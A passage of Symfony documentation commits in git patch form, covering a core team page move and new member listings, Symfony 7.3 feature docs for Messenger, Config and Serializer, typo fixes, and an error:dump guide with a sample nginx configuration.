+[3]: https://symfony.com/doc/current/contributing/core_team.html
 [4]: https://github.com/asciinema/asciinema
 [5]: https://github.com/asciinema/agg
 [6]: https://www.jetbrains.com/lp/mono/
diff --git a/contributing/code/index.rst b/contributing/code/index.rst
index e537eb3a0c3..b4cf85441b0 100644
--- a/contributing/code/index.rst
+++ b/contributing/code/index.rst
@@ -9,7 +9,6 @@ Contributing Code
     reproducer
     pull_requests
     maintenance
-    core_team
     security
     tests
     bc
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 7b51b2ab3cb..548fc6c190c 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -404,7 +404,7 @@ perspective, please join the ``#contribs`` channel on `Symfony Slack`_. If you
 receive feedback you find abusive please contact the
 :doc:`CARE team </contributing/code_of_conduct/care_team>`.
 
-The :doc:`core team </contributing/code/core_team>` is responsible for deciding
+The :doc:`core team </contributing/core_team>` is responsible for deciding
 which PR gets merged, so their feedback is the most relevant. So do not feel
 pressured to refactor your code immediately when someone provides feedback.
 
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index ced2568c5f7..3a00343faf1 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -300,7 +300,7 @@ Documentation
 * When adding a new class or when making significant changes to an existing class,
   an ``@author`` tag with personal contact information may be added, or expanded.
   Please note it is possible to have the personal contact information updated or
-  removed per request to the :doc:`core team </contributing/code/core_team>`.
+  removed per request to the :doc:`core team </contributing/core_team>`.
 
 License
 ~~~~~~~
diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index e061c0a0afe..1b15850da39 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -54,7 +54,7 @@ also contact all of them at once by emailing ** care@symfony.com **.
 About the CARE Team
 -------------------
 
-The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CARE
+The :doc:`Symfony project leader </contributing/core_team>` appoints the CARE
 team with candidates they see fit. The CARE team will consist of at least
 3 people. The team should be representing as many demographics as possible,
 ideally from different employers.
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 8126496bfef..2c5a796e9b5 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -113,7 +113,7 @@ PHP Compatibility
 -----------------
 
 The **minimum** PHP version is decided for each **major** Symfony version by consensus
-amongst the :doc:`core team </contributing/code/core_team>` and documented as
+amongst the :doc:`core team </contributing/core_team>` and documented as
 part of the :ref:`technical requirements for running Symfony applications
 <symfony-tech-requirements>`.
 
diff --git a/contributing/code/core_team.rst b/contributing/core_team.rst
similarity index 100%
rename from contributing/code/core_team.rst
rename to contributing/core_team.rst
diff --git a/contributing/map.rst.inc b/contributing/map.rst.inc
index 92bc1e2e142..acbb24bb9b0 100644
--- a/contributing/map.rst.inc
+++ b/contributing/map.rst.inc
@@ -1,3 +1,5 @@
+* :doc:`The Core Team </contributing/core_team>`
+
 * **Code of Conduct**
 
   * :doc:`/contributing/code_of_conduct/code_of_conduct`
@@ -12,7 +14,6 @@
   * :doc:`Pull Requests </contributing/code/pull_requests>`
   * :doc:`Reviewing Issues and Pull Requests </contributing/community/reviews>`
   * :doc:`Maintenance </contributing/code/maintenance>`
-  * :doc:`The Core Team </contributing/code/core_team>`
   * :doc:`Security </contributing/code/security>`
   * :doc:`Tests </contributing/code/tests>`
   * :doc:`Backward Compatibility </contributing/code/bc>`

From 8a15b64063a83b3b3a1560edc067f2ed59e659e2 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 24 Feb 2025 15:18:40 +0100
Subject: [PATCH 5385/5766] Move the core team page to the contributing root
 dir as it's not just about code

---
 _build/redirection_map                     | 1 +
 _images/sources/README.md                  | 2 +-
 contributing/code/index.rst                | 1 -
 contributing/code/pull_requests.rst        | 2 +-
 contributing/code/standards.rst            | 2 +-
 contributing/code_of_conduct/care_team.rst | 2 +-
 contributing/community/releases.rst        | 2 +-
 contributing/{code => }/core_team.rst      | 0
 contributing/map.rst.inc                   | 3 ++-
 9 files changed, 8 insertions(+), 7 deletions(-)
 rename contributing/{code => }/core_team.rst (100%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 4fb14724d26..3bad633e0e1 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -430,6 +430,7 @@
 /email/spool /mailer
 /email/testing /mailer
 /contributing/community/other /contributing/community
+/contributing/code/core_team /contributing/core_team
 /profiler/storage /profiler
 /setup/composer /setup
 /security/security_checker /setup
diff --git a/_images/sources/README.md b/_images/sources/README.md
index 467d4024010..84810a9783d 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -96,7 +96,7 @@ only the asciicast file).
 
 [1]: http://dia-installer.de/
 [2]: https://fonts.google.com/specimen/PT+Sans+Narrow
-[3]: https://symfony.com/doc/current/contributing/code/core_team.html
+[3]: https://symfony.com/doc/current/contributing/core_team.html
 [4]: https://github.com/asciinema/asciinema
 [5]: https://github.com/asciinema/agg
 [6]: https://www.jetbrains.com/lp/mono/
diff --git a/contributing/code/index.rst b/contributing/code/index.rst
index e537eb3a0c3..b4cf85441b0 100644
--- a/contributing/code/index.rst
+++ b/contributing/code/index.rst
@@ -9,7 +9,6 @@ Contributing Code
     reproducer
     pull_requests
     maintenance
-    core_team
     security
     tests
     bc
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 7b51b2ab3cb..548fc6c190c 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -404,7 +404,7 @@ perspective, please join the ``#contribs`` channel on `Symfony Slack`_. If you
 receive feedback you find abusive please contact the
 :doc:`CARE team </contributing/code_of_conduct/care_team>`.
 
-The :doc:`core team </contributing/code/core_team>` is responsible for deciding
+The :doc:`core team </contributing/core_team>` is responsible for deciding
 which PR gets merged, so their feedback is the most relevant. So do not feel
 pressured to refactor your code immediately when someone provides feedback.
 
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index ced2568c5f7..3a00343faf1 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -300,7 +300,7 @@ Documentation
 * When adding a new class or when making significant changes to an existing class,
   an ``@author`` tag with personal contact information may be added, or expanded.
   Please note it is possible to have the personal contact information updated or
-  removed per request to the :doc:`core team </contributing/code/core_team>`.
+  removed per request to the :doc:`core team </contributing/core_team>`.
 
 License
 ~~~~~~~
diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index e061c0a0afe..1b15850da39 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -54,7 +54,7 @@ also contact all of them at once by emailing ** care@symfony.com **.
 About the CARE Team
 -------------------
 
-The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CARE
+The :doc:`Symfony project leader </contributing/core_team>` appoints the CARE
 team with candidates they see fit. The CARE team will consist of at least
 3 people. The team should be representing as many demographics as possible,
 ideally from different employers.
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 8126496bfef..2c5a796e9b5 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -113,7 +113,7 @@ PHP Compatibility
 -----------------
 
 The **minimum** PHP version is decided for each **major** Symfony version by consensus
-amongst the :doc:`core team </contributing/code/core_team>` and documented as
+amongst the :doc:`core team </contributing/core_team>` and documented as
 part of the :ref:`technical requirements for running Symfony applications
 <symfony-tech-requirements>`.
 
diff --git a/contributing/code/core_team.rst b/contributing/core_team.rst
similarity index 100%
rename from contributing/code/core_team.rst
rename to contributing/core_team.rst
diff --git a/contributing/map.rst.inc b/contributing/map.rst.inc
index 92bc1e2e142..acbb24bb9b0 100644
--- a/contributing/map.rst.inc
+++ b/contributing/map.rst.inc
@@ -1,3 +1,5 @@
+* :doc:`The Core Team </contributing/core_team>`
+
 * **Code of Conduct**
 
   * :doc:`/contributing/code_of_conduct/code_of_conduct`
@@ -12,7 +14,6 @@
   * :doc:`Pull Requests </contributing/code/pull_requests>`
   * :doc:`Reviewing Issues and Pull Requests </contributing/community/reviews>`
   * :doc:`Maintenance </contributing/code/maintenance>`
-  * :doc:`The Core Team </contributing/code/core_team>`
   * :doc:`Security </contributing/code/security>`
   * :doc:`Tests </contributing/code/tests>`
   * :doc:`Backward Compatibility </contributing/code/bc>`

From 4e52d442208eb2efd33f57f14d27d09713dacf82 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 24 Feb 2025 15:17:14 +0100
Subject: [PATCH 5386/5766] Add new core team members

---
 contributing/core_team.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index 2afae903d92..d461aa44485 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -82,7 +82,11 @@ Active Core Members
   * **Oskar Stark** (`OskarStark`_);
   * **Mathieu Santostefano** (`welcomattic`_);
   * **Kevin Bond** (`kbond`_);
-  * **Jérôme Tamarelle** (`gromnan`_).
+  * **Jérôme Tamarelle** (`gromnan`_);
+  * **Berislav Balogović** (`hypemc`_);
+  * **Mathias Arlaud** (`mtarld`_);
+  * **Florent Morselli** (`spomky`_);
+  * **Alexandre Daubois** (`alexandre-daubois`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
@@ -255,3 +259,7 @@ discretion of the **Project Leader**.
 .. _`smnandre`: https://github.com/smnandre/
 .. _`kocal`: https://github.com/kocal/
 .. _`webmamba`: https://github.com/webmamba/
+.. _`hypemc`: https://github.com/hypemc/
+.. _`mtarld`: https://github.com/mtarld/
+.. _`spomky`: https://github.com/spomky/
+.. _`alexandre-daubois`: https://github.com/alexandre-daubois/

From 0d296fc0f69cf15d0195000cbe0a904fabb1e08a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Feb 2025 16:29:52 +0100
Subject: [PATCH 5387/5766] Minor tweak

---
 messenger.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 477ef65b740..de72419aa9c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2065,10 +2065,10 @@ The transport has a number of options:
     Name of the queue
 
 ``queue_attributes``
-    Attributes of a queue as per `SQS CreateQueue API`_. Array of strings indexed by keys of ``AsyncAws\Sqs\Enum\QueueAttributeName``. Added in Symfony 7.3.
+    Attributes of a queue as per `SQS CreateQueue API`_. Array of strings indexed by keys of ``AsyncAws\Sqs\Enum\QueueAttributeName``.
 
 ``queue_tags``
-    Cost allocation tags of a queue as per `SQS CreateQueue API`_. Array of strings indexed by strings. Added in Symfony 7.3.
+    Cost allocation tags of a queue as per `SQS CreateQueue API`_. Array of strings indexed by strings.
 
 ``region`` (default: ``eu-west-1``)
     Name of the AWS region
@@ -2085,6 +2085,10 @@ The transport has a number of options:
 ``wait_time`` (default: ``20``)
     `Long polling`_ duration in seconds
 
+.. versionadded:: 7.3
+
+    The ``queue_attributes`` and ``queue_tags`` options were introduced in Symfony 7.3.
+
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should

From a78f065f1d8e999cc3d96dcf5c29a7eed85399f0 Mon Sep 17 00:00:00 2001
From: super-omario <omar.brahimi.nimda@gmail.com>
Date: Thu, 20 Feb 2025 20:43:09 +0100
Subject: [PATCH 5388/5766] [Console] Fix argument position for addOption

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 5ec9cf3ae04..3a37704df23 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -320,7 +320,7 @@ can also implement value completion for the input in your commands. For
 instance, you may want to complete all usernames from the database in the
 ``name`` argument of your greet command.
 
-To achieve this, use the 5th argument of ``addArgument()``/``addOption``::
+To achieve this, use the 5th argument of ``addArgument()`` or the 6th argument of ``addOption``::
 
     // ...
     use Symfony\Component\Console\Completion\CompletionInput;

From d232cccd6b56def4db372acbb11d371ae7171bf2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Feb 2025 09:11:51 +0100
Subject: [PATCH 5389/5766] Minor tweak

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 3a37704df23..813ab683428 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -320,7 +320,7 @@ can also implement value completion for the input in your commands. For
 instance, you may want to complete all usernames from the database in the
 ``name`` argument of your greet command.
 
-To achieve this, use the 5th argument of ``addArgument()`` or the 6th argument of ``addOption``::
+To achieve this, use the 5th argument of ``addArgument()`` or the 6th argument of ``addOption()``::
 
     // ...
     use Symfony\Component\Console\Completion\CompletionInput;

From a2daec4d72e47b9ce07e0bc915834f3594b7f453 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 26 Feb 2025 12:18:13 +0100
Subject: [PATCH 5390/5766] [Config] Allow using an enum FQCN with `EnumNode`

---
 components/config/definition.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 24c142ec5a5..b22d66c2b51 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -186,6 +186,25 @@ The configuration can now be written like this::
         ->end()
     ;
 
+You can also use the ``enumClass()`` method to pass the FQCN of an enum
+class to the node. This will automatically set the values of the node to
+the cases of the enum::
+
+    $rootNode
+        ->children()
+            ->enumNode('delivery')
+                ->enumClass(Delivery::class)
+            ->end()
+        ->end()
+    ;
+
+When using a backed enum, the values provided to the node will be casted
+to one of the enum cases if possible.
+
+.. versionadded:: 7.3
+
+    The ``enumClass()`` method was introduced in Symfony 7.3.
+
 Array Nodes
 ~~~~~~~~~~~
 

From f0be895bcf93a85fba888e476d0e580483b98f89 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Wed, 26 Feb 2025 17:13:11 +0100
Subject: [PATCH 5391/5766] [Mailer] [Amazon] Remove outdated warning

As per https://github.com/symfony/symfony/pull/58761, the warning about requiring the `ses+https` provider for custom headers is no longer relevant and has been removed.
Fixes https://github.com/symfony/symfony-docs/issues/20512
---
 mailer.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 9ab2f47c235..fd34a921b14 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -268,12 +268,6 @@ party provider:
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-.. warning::
-
-    If you send custom headers when using the `Amazon SES`_ transport (to receive
-    them later via a webhook), make sure to use the ``ses+https`` provider because
-    it's the only one that supports them.
-
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an

From 63fc4e0fbe5bf2f1c2d6535c8a5a5f6a469f2c93 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Wed, 26 Feb 2025 21:51:36 +0100
Subject: [PATCH 5392/5766] [Messenger] Priority support for Beanstalkd bridge

Adds explanation about the new `BeanstalkdPriorityStamp` introduced by https://github.com/symfony/symfony/pull/59273
Fixes https://github.com/symfony/symfony-docs/issues/20513
---
 messenger.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index de72419aa9c..a9270ae1673 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1789,6 +1789,29 @@ The transport has a number of options:
 
     Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.2.
 
+When using the Beanstalkd transport in Symfony Messenger, you can now set the priority of the messages being dispatched.
+This allows you to control the order in which the messages are processed, with lower values indicating higher priority.
+
+To configure the priority, use the ``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
+when dispatching a message:
+
+.. code-block:: php
+
+    use App\Message\SomeMessage;
+    use Symfony\Component\Messenger\Stamp\BeanstalkdPriorityStamp;
+
+    $this->bus->dispatch(new SomeMessage('some data'), [
+        new BeanstalkdPriorityStamp(0), // Highest priority
+    ]);
+
+As defined by the Beanstalkd protocol, the priority value must be an integer between 0 (highest priority) and 2**32 (lowest priority).
+
+If no priority is specified, the default value ``1024`` will be used.
+
+.. versionadded:: 7.3
+
+    ``BeanstalkdPriorityStamp`` support was added in Symfony 7.3.
+
 .. _messenger-redis-transport:
 
 Redis Transport

From e9c4f9079e08c2f3a4e5c56b2a1a5902a1950bc5 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Thu, 27 Feb 2025 09:05:50 +0100
Subject: [PATCH 5393/5766] fix typo

---
 components/config/definition.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index b22d66c2b51..44189d9dd6f 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -198,7 +198,7 @@ the cases of the enum::
         ->end()
     ;
 
-When using a backed enum, the values provided to the node will be casted
+When using a backed enum, the values provided to the node will be cast
 to one of the enum cases if possible.
 
 .. versionadded:: 7.3

From 634c9b8b9f44a26d493d01776b1738c7f34e3f6e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Thu, 27 Feb 2025 09:07:36 +0100
Subject: [PATCH 5394/5766] fix typos

---
 components/var_dumper.rst                          | 2 +-
 reference/constraints/CssColor.rst                 | 2 +-
 reference/forms/types/options/choice_value.rst.inc | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 1578d1e8128..cfc57140b52 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -813,7 +813,7 @@ They are called in registration order.
 Casters are responsible for returning the properties of the object or resource
 being cloned in an array. They are callables that accept five arguments:
 
-* the object or resource being casted;
+* the object or resource being cast;
 * an array modeled for objects after PHP's native ``(array)`` cast operator;
 * a :class:`Symfony\\Component\\VarDumper\\Cloner\\Stub` object
   representing the main properties of the object (class, type, etc.);
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 88a4eb4be9f..fbbc982087d 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -2,7 +2,7 @@ CssColor
 ========
 
 Validates that a value is a valid CSS color. The underlying value is
-casted to a string before being validated.
+cast to a string before being validated.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/reference/forms/types/options/choice_value.rst.inc b/reference/forms/types/options/choice_value.rst.inc
index 4b3668074a9..137ca8a6df0 100644
--- a/reference/forms/types/options/choice_value.rst.inc
+++ b/reference/forms/types/options/choice_value.rst.inc
@@ -9,7 +9,7 @@ You don't normally need to worry about this, but it might be handy when processi
 an API request (since you can configure the value that will be sent in the API request).
 
 This can be a callable or a property path. By default, the choices are used if they
-can be casted to strings. Otherwise an incrementing integer is used (starting at ``0``).
+can be cast to strings. Otherwise an incrementing integer is used (starting at ``0``).
 
 If you pass a callable, it will receive one argument: the choice itself. When using
 the :doc:`/reference/forms/types/entity`, the argument will be the entity object

From 04f5498101f6cc4166bbdbfd29c583b6137840c5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 27 Feb 2025 12:44:55 +0100
Subject: [PATCH 5395/5766] Reword

---
 messenger.rst | 20 +++++++-------------
 1 file changed, 7 insertions(+), 13 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index a9270ae1673..3618482f8e9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1789,28 +1789,22 @@ The transport has a number of options:
 
     Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.2.
 
-When using the Beanstalkd transport in Symfony Messenger, you can now set the priority of the messages being dispatched.
-This allows you to control the order in which the messages are processed, with lower values indicating higher priority.
-
-To configure the priority, use the ``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
-when dispatching a message:
-
-.. code-block:: php
+The Beanstalkd transport lets you set the priority of the messages being dispatched.
+Use the ``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
+and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority)::
 
     use App\Message\SomeMessage;
     use Symfony\Component\Messenger\Stamp\BeanstalkdPriorityStamp;
 
     $this->bus->dispatch(new SomeMessage('some data'), [
-        new BeanstalkdPriorityStamp(0), // Highest priority
+        // 0 = highest priority
+        // 2**32 - 1 = lowest priority
+        new BeanstalkdPriorityStamp(0),
     ]);
 
-As defined by the Beanstalkd protocol, the priority value must be an integer between 0 (highest priority) and 2**32 (lowest priority).
-
-If no priority is specified, the default value ``1024`` will be used.
-
 .. versionadded:: 7.3
 
-    ``BeanstalkdPriorityStamp`` support was added in Symfony 7.3.
+    ``BeanstalkdPriorityStamp`` support was introduced in Symfony 7.3.
 
 .. _messenger-redis-transport:
 

From d976d0e8e24fa97520b1fb513027ee723dd05893 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFck=20Piera?= <pyrech@gmail.com>
Date: Sat, 1 Mar 2025 17:56:22 +0100
Subject: [PATCH 5396/5766] Add documentation for error:dump command

---
 controller/error_pages.rst | 46 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index fc36b88779a..00a36f3b13a 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -336,3 +336,49 @@ time and again, you can have just one (or several) listeners deal with them.
     your application (like :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`)
     and takes measures like redirecting the user to the login page, logging them
     out and other things.
+
+Dumping error pages in static HTML files
+----------------------------------------
+
+When a web server cannot handle a request or when it triggers an error without
+calling the PHP application, it will return its default error pages, instead of
+rendering the errors as defined in your application (whether it's Symfony's
+default "Oops" error page or the pages you customized in your application).
+
+To avoid that and always have your web server rendering your application's error
+pages, you can dump each HTTP status error in a their own static HTML files:
+
+.. code-block:: terminal
+
+    $ php bin/console error:dump [--force] var/cache/prod/error_pages
+
+.. note::
+
+    By default, it will dump HTML files for each HTTP status error.
+    You can restrict that to dump only some HTTP status code by passing them as
+    in the second argument of the command.
+
+Once the static pages are generated, you can now configure your web server to use
+them instead of their default error page. Here is an example configuration with
+nginx:
+
+.. code-block:: nginx
+
+    # /etc/nginx/conf.d/example.com.conf
+    server {
+        # Your existing serverconfiguration
+        # ...
+
+
+	# Configure nginx to serve your application's error pages
+        error_page 400 /error_pages/400.html;
+        error_page 401 /error_pages/401.html;
+        # ...
+        error_page 510 /error_pages/510.html;
+        error_page 511 /error_pages/511.html;
+
+        location ^~ /error_pages/ {
+          root /path/to/your/symfony/var/cache/error_pages;
+          internal; # allows this location block to not be triggered when a user manually call these /error_pages/.* urls
+        }
+    }

From a941353d64f0234b3a189f8a326391cdd8501791 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 31 Jan 2025 15:58:43 +0100
Subject: [PATCH 5397/5766] Use DOCtor-RST 1.66.0

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index cd11f370e6a..b69e512b046 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.64.0
+                uses: docker://oskarstark/doctor-rst:1.66.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 3c3b2ea33bcf2162a89182951b209be09d18b97d Mon Sep 17 00:00:00 2001
From: Alan Poulain <contact@alanpoulain.eu>
Date: Sat, 1 Mar 2025 19:53:16 +0100
Subject: [PATCH 5398/5766] [Serializer] Add defaultType to DiscriminatorMap

---
 serializer.rst | 64 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 64 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index d541310aa15..23be4a234a8 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -2033,6 +2033,70 @@ correct class for properties typed as ``InvoiceItemInterface``::
         $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
         // $invoiceLine contains new InvoiceLine(new Product(...))
 
+You can add a default type to avoid the need to add the type property
+when deserializing:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\DiscriminatorMap;
+
+        #[DiscriminatorMap(
+            typeProperty: 'type',
+            mapping: [
+                'product' => Product::class,
+                'shipping' => Shipping::class,
+            ],
+            defaultType: 'product',
+        )]
+        interface InvoiceItemInterface
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\InvoiceItemInterface:
+            discriminator_map:
+                type_property: type
+                mapping:
+                    product: 'App\Model\Product'
+                    shipping: 'App\Model\Shipping'
+                default_type: product
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\InvoiceItemInterface">
+                <discriminator-map type-property="type" default-type="product">
+                    <mapping type="product" class="App\Model\Product"/>
+                    <mapping type="shipping" class="App\Model\Shipping"/>
+                </discriminator-map>
+            </class>
+        </serializer>
+
+Now it deserializes like this:
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // $jsonString does NOT contain "type" in "invoiceItem"
+        $invoiceLine = $serializer->deserialize('{"invoiceItem":{...},...}', InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+.. versionadded:: 7.3
+
+    The ``defaultType`` parameter was added in Symfony 7.3.
+
 .. _serializer-unwrapping-denormalizer:
 
 Deserializing Input Partially (Unwrapping)

From 3c020ed0e0daa22b9c69cb4356ff83637169299a Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Mon, 3 Mar 2025 13:04:08 +0100
Subject: [PATCH 5399/5766] Improve the documentation of php_errors in the
 reference

---
 reference/configuration/framework.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0f336953539..44c5f9b4c46 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3062,11 +3062,15 @@ php_errors
 log
 ...
 
-**type**: ``boolean|int`` **default**: ``%kernel.debug%``
+**type**: ``boolean|int|array<int, string>`` **default**: ``%kernel.debug%``
 
 Use the application logger instead of the PHP logger for logging PHP errors.
-When an integer value is used, it also sets the log level. Those integer
-values must be the same used in the `error_reporting PHP option`_.
+When an integer value is used, it defines a bitmask of PHP errors that will
+be logged. Those integer values must be the same used in the
+`error_reporting PHP option`_. The default log levels will be used for each
+PHP error.
+When a boolean value is used, ``true`` enables logging for all PHP errors
+while ``false`` disables logging entirely.
 
 This option also accepts a map of PHP errors to log levels:
 

From a87223b5b2113faf29c145f75dcdf33a7e0d7782 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Mon, 3 Mar 2025 13:13:25 +0100
Subject: [PATCH 5400/5766] Remove non-existent password_strength setting from
 the reference

---
 reference/configuration/framework.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0f336953539..0880f170cf5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2840,14 +2840,6 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
-.. _reference-validation-password-strength:
-
-password_strength
-.................
-
-The :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
-constraint verifies the submitted string entropy is matching the minimum entropy score.
-
 .. _reference-validation-email_validation_mode:
 
 email_validation_mode

From 7ef636cdec6d216964108ee863403d46e8624ffb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Mar 2025 13:31:31 +0100
Subject: [PATCH 5401/5766] Tweak reference documents

---
 reference/configuration/debug.rst        | 3 ---
 reference/configuration/framework.rst    | 3 ---
 reference/configuration/security.rst     | 3 ---
 reference/configuration/twig.rst         | 3 ---
 reference/configuration/web_profiler.rst | 3 ---
 5 files changed, 15 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index f33b3f3ba9a..d52cac82f20 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -27,9 +27,6 @@ key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/debug/debug-1.0.xsd``
 
-Configuration
--------------
-
 max_items
 ~~~~~~~~~
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0f336953539..b36169225b0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -19,9 +19,6 @@ configured under the ``framework`` key in your application configuration.
     namespace and the related XSD schema is available at:
